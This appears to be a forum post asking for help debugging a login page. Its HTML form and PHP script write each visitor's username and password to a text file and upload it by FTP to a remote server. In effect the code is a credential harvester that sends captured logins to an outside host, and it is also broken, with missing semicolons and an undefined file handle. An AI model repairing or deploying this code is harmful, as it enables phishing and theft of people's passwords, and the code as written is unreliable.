I've been working on a simple login page that is not meant to be secure, I want the user to put in their username and password and that information to be stored as a text file and sent to my FTP. It's set it up so that the HTML creates variables and then the PHP creates the text files with those variables, then it opens that and sends it to the FTP, well that's what it should be doing, I don't know where I've gone wrong.
The txt I'm trying to create is named log.txt.
login.html
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
login.php
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
}
// open some file for reading
$file = 'log.txt';
$fp = fopen($file, 'r');
$ftp_server = "ftp.example.com";
$ftp_user = "example@example.com";
$ftp_pass = "example";
$remote_file = "log.txt";
$file = "log.txt"
$dir = "log"
// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");
// try to login
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
echo "Connected as $ftp_user@$ftp_server\n";
} else {
echo "Couldn't connect as $ftp_user\n";
}
// try to upload $file
if (ftp_fput($conn_id, $file, $fp, FTP_ASCII)) {
echo "Successfully uploaded $file\n";
} else {
echo "There was a problem while uploading $file\n";
}
// close the connection
ftp_close($conn_id);
echo fgets($myfile);
fclose($myfile);
ftp_close($conn_id);
fclose($fp);
?>
</body>
</html>